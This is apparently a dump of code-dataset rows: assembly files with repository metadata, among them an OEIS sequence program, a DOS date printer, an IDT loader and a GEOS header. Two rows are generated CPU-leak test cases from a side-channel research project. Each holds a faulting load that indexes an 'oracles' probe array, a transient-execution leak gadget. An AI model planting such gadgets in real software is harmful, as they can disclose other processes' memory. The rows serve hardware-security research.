{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.452381
| 2,999
| 0.660614
|
fab7963b7420d438d77221c8d6aa7e3af3a635d3
| 537
|
asm
|
Assembly
|
oeis/179/A179641.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/179/A179641.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/179/A179641.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A179641: Decimal expansion of the volume of pentagonal dipyramid with edge length 1.
; Submitted by Christian Krause
; 6,0,3,0,0,5,6,6,4,7,9,1,6,4,9,1,4,1,3,6,7,4,3,1,1,3,9,0,6,0,9,3,9,6,8,6,2,8,6,7,1,8,1,9,6,6,3,4,2,9,3,8,1,0,3,5,5,9,0,8,1,0,3,7,8,4,2,1,0,0,7,7,1,3,6,4,8,3,7,4,1,6,1,7,8,6,7,8,6,7,3,6,4,8,9,8,5,2,2,9
mov $1,1
mov $3,$0
mul $3,4
lpb $3
add $1,$2
add $2,$1
mul $1,2
mul $2,2
sub $3,1
add $5,$2
lpe
mul $1,5
add $1,14
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
div $0,3
mod $0,10
| 19.888889
| 201
| 0.569832
|
428a43536ee6e5038c7e1801bbc12c9090a8ab7c
| 7,985
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1667.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1667.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1667.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1bec9, %rsi
nop
sub %r9, %r9
movb (%rsi), %dl
nop
nop
nop
nop
and $35255, %rsi
lea addresses_WT_ht+0x12c79, %rsi
lea addresses_WT_ht+0x2701, %rdi
clflush (%rdi)
nop
nop
nop
nop
dec %r12
mov $116, %rcx
rep movsl
nop
cmp %rsi, %rsi
lea addresses_D_ht+0xd01, %rsi
lea addresses_A_ht+0x13501, %rdi
nop
nop
nop
cmp %r10, %r10
mov $70, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $53741, %rdi
lea addresses_WT_ht+0x1af00, %rsi
lea addresses_D_ht+0x1cd01, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $20, %rcx
rep movsw
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0xae23, %rdi
and $43082, %r12
mov (%rdi), %cx
nop
add %rdi, %rdi
lea addresses_normal_ht+0x5ef3, %rcx
nop
sub $39511, %r9
movups (%rcx), %xmm2
vpextrq $1, %xmm2, %rdi
and %rsi, %rsi
lea addresses_A_ht+0xaa81, %rsi
lea addresses_normal_ht+0x17c31, %rdi
inc %rbp
mov $58, %rcx
rep movsl
nop
nop
nop
add %rcx, %rcx
lea addresses_UC_ht+0x182c1, %rdx
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%rdx)
dec %rdi
lea addresses_D_ht+0x142e1, %r9
nop
nop
nop
nop
nop
and %rdx, %rdx
mov (%r9), %r10w
nop
cmp $52203, %rbp
lea addresses_normal_ht+0xe2a, %rsi
lea addresses_A_ht+0xff01, %rdi
nop
nop
nop
nop
nop
dec %rbp
mov $97, %rcx
rep movsb
and %r9, %r9
lea addresses_A_ht+0x18ee1, %r12
nop
and $30419, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
movups %xmm4, (%r12)
inc %rsi
lea addresses_A_ht+0x1cd41, %rdx
nop
nop
inc %rcx
movw $0x6162, (%rdx)
nop
nop
nop
add $3641, %rcx
lea addresses_A_ht+0x1f1b, %rsi
lea addresses_A_ht+0x32e1, %rdi
nop
nop
nop
nop
nop
xor %rdx, %rdx
mov $81, %rcx
rep movsq
and %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rbp
push %rdi
push %rdx
// Load
lea addresses_UC+0x4e11, %r9
nop
nop
nop
nop
dec %r12
mov (%r9), %rdi
nop
nop
cmp %r15, %r15
// Store
lea addresses_WT+0x1d501, %r9
nop
sub %rbp, %rbp
mov $0x5152535455565758, %r12
movq %r12, %xmm0
movups %xmm0, (%r9)
nop
nop
nop
add %r15, %r15
// Store
lea addresses_normal+0x1f51, %r12
sub %rdx, %rdx
movw $0x5152, (%r12)
nop
nop
nop
sub $39313, %r15
// Faulty Load
lea addresses_normal+0x1dd01, %r12
nop
nop
cmp $38216, %rdi
mov (%r12), %rbp
lea oracles, %r15
and $0xff, %rbp
shlq $12, %rbp
mov (%r15,%rbp,1), %rbp
pop %rdx
pop %rdi
pop %rbp
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 1, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 34.123932
| 2,999
| 0.655855
|
32cf55a7cb8ed4341a4cfcbee1a65146da603340
| 4,595
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6679_1727.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6679_1727.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6679_1727.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rcx
push %rdi
lea addresses_normal_ht+0x5c93, %r15
nop
nop
add $60763, %r8
mov (%r15), %rcx
nop
nop
nop
nop
dec %rdi
pop %rdi
pop %rcx
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rsi
// Load
lea addresses_normal+0x2493, %rcx
nop
nop
cmp %r10, %r10
mov (%rcx), %eax
nop
nop
xor %r15, %r15
// REPMOV
lea addresses_UC+0x18d13, %rsi
lea addresses_WC+0x5713, %rdi
add %r10, %r10
mov $125, %rcx
rep movsb
nop
nop
nop
nop
xor %r12, %r12
// Faulty Load
lea addresses_normal+0x15113, %rsi
nop
nop
add %r14, %r14
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %rax
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'34': 6679}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 51.055556
| 2,999
| 0.660718
|
109f9d79a8c7f30e40b72c27fa02242b463cf7aa
| 628
|
asm
|
Assembly
|
asm/classtest.asm
|
tclendo/tiny_vm
|
87c55f66a3531b7cfe71d3ab5f06a573f932b4cd
|
[
"CC-BY-3.0"
] | null | null | null |
asm/classtest.asm
|
tclendo/tiny_vm
|
87c55f66a3531b7cfe71d3ab5f06a573f932b4cd
|
[
"CC-BY-3.0"
] | null | null | null |
asm/classtest.asm
|
tclendo/tiny_vm
|
87c55f66a3531b7cfe71d3ab5f06a573f932b4cd
|
[
"CC-BY-3.0"
] | null | null | null |
.class classtest:Obj
.method $constructor
.local test,seven,eight
enter
load test
const 1
new Test
call Test:$constructor
load test
const 1
new Test
call Test:$constructor
store test
load seven
load test
const 7
roll 1
call Test:Number
load seven
load test
const 7
roll 1
call Test:Number
store seven
load seven
call Int:print
load eight
load test
const 8
roll 1
call Test:Number
load eight
load test
const 8
roll 1
call Test:Number
store eight
load eight
call Int:print
return 0
| 15.317073
| 26
| 0.611465
|
60ec2f6cd9af93f4623b4cd4b92ad8cfa00a6080
| 973
|
asm
|
Assembly
|
4th SEM/MICROPROCESSOR AND MICROCONTROLLER LABORATORY - XXCSL48/LAB5b.asm
|
AbhishekMali21/VTU-CSE-ISE-LAB-SOLUTIONS
|
599916c270d285b3c9b1c8969cfb6cbcae8bd619
|
[
"MIT"
] | 80
|
2019-02-12T19:30:15.000Z
|
2022-03-28T14:38:55.000Z
|
4th SEM/MICROPROCESSOR AND MICROCONTROLLER LABORATORY - XXCSL48/LAB5b.asm
|
AbhishekMali21/VTU-CSE-ISE-LAB-SOLUTIONS
|
599916c270d285b3c9b1c8969cfb6cbcae8bd619
|
[
"MIT"
] | 1
|
2021-06-14T04:25:25.000Z
|
2021-06-14T04:25:25.000Z
|
4th SEM/MICROPROCESSOR AND MICROCONTROLLER LABORATORY - XXCSL48/LAB5b.asm
|
AbhishekMali21/VTU-CSE-ISE-LAB-SOLUTIONS
|
599916c270d285b3c9b1c8969cfb6cbcae8bd619
|
[
"MIT"
] | 115
|
2019-02-20T13:32:44.000Z
|
2022-03-28T17:19:29.000Z
|
.MODEL small
.STACK 100h
.DATA
messl DB 10, 13, 'Today is $' ; 1041, 13=CR
.CODE
Today PROC
MOV AX, @data
MOV DS, AX
MOV DX, OFFSET messl
MOV AH, 09h
INT 21H
MOV AH,2AH
INT 21H
PUSH CX
MOV CX,0
MOV CL, DL
PUSH CX
MOV CL,DH
PUSH CX
MOV DH, 0
;DISPLAY MONTH
MOV DX, 0
POP AX
MOV CX,0
MOV BX,10
DIVIDEM:DIV BX
PUSH DX
ADD CX,1
MOV DX, 0
CMP AX, 0
JNE DIVIDEM
DIVDISPM:POP DX
ADD DL,30h
MOV AH, 02h
INT 21H
LOOP DIVDISPM
MOV DL,'/'
MOV AH,02h
INT 21H
;DISPLAY DAY
MOV DX, 0
POP AX
MOV CX,0
MOV BX,10
DIVIDED:DIV BX
PUSH DX
ADD CX,1
MOV DX,0
CMP AX,0
JNE DIVIDED
DIVDISPD:POP DX
ADD DL,30H
MOV AH,02H
INT 21H
LOOP DIVDISPD
MOV DL,'/'
MOV AH,02H
INT 21H
;DISPLAY YEAR
MOV DX,0
POP AX
MOV CX,0
MOV BX,10
DIVIDEY:DIV BX
PUSH DX
ADD CX,1
MOV DX,0
CMP AX,0
JNE DIVIDEY
DIVDISPY:POP DX
ADD DL,30H
MOV AH,02H
INT 21H
LOOP DIVDISPY
MOV AL,0
MOV AH,4CH
INT 21H
TODAY ENDP
END TODAY
| 11.183908
| 45
| 0.642343
|
d8d59d93c63219bcb6963e1da5ce79b8f4f7ab48
| 615
|
asm
|
Assembly
|
Library/SpecUI/CommonUI/CGadget/copenTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/SpecUI/CommonUI/CGadget/copenTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/SpecUI/CommonUI/CGadget/copenTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: OpenLook/Open
FILE: openTextEdit.asm
ROUTINES:
Name Description
---- -----------
GLB OLTextEditClass Open look text edit object (non-scrolling)
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
DESCRIPTION:
$Id: copenTextEdit.asm,v 1.1 97/04/07 10:54:14 newdeal Exp $
------------------------------------------------------------------------------@
Nuked. 7/ 8/92 cbh
| 23.653846
| 80
| 0.474797
|
db70fa10d2ff0458ddac4c1a0b20e50ce4d7807e
| 58
|
asm
|
Assembly
|
kernel/asm/idt.asm
|
simon-andrews/norby
|
6c190df17dc233256cc582af13e7ea1a6e6a9380
|
[
"MIT"
] | 2
|
2018-09-12T00:05:27.000Z
|
2018-12-25T09:43:52.000Z
|
kernel/asm/idt.asm
|
simon-andrews/norby
|
6c190df17dc233256cc582af13e7ea1a6e6a9380
|
[
"MIT"
] | null | null | null |
kernel/asm/idt.asm
|
simon-andrews/norby
|
6c190df17dc233256cc582af13e7ea1a6e6a9380
|
[
"MIT"
] | null | null | null |
global load_idt
extern idtp
load_idt:
lidt [idtp]
ret
| 9.666667
| 15
| 0.741379
|
9391226db961ec7121b2050da202647dfcffe8a5
| 183
|
asm
|
Assembly
|
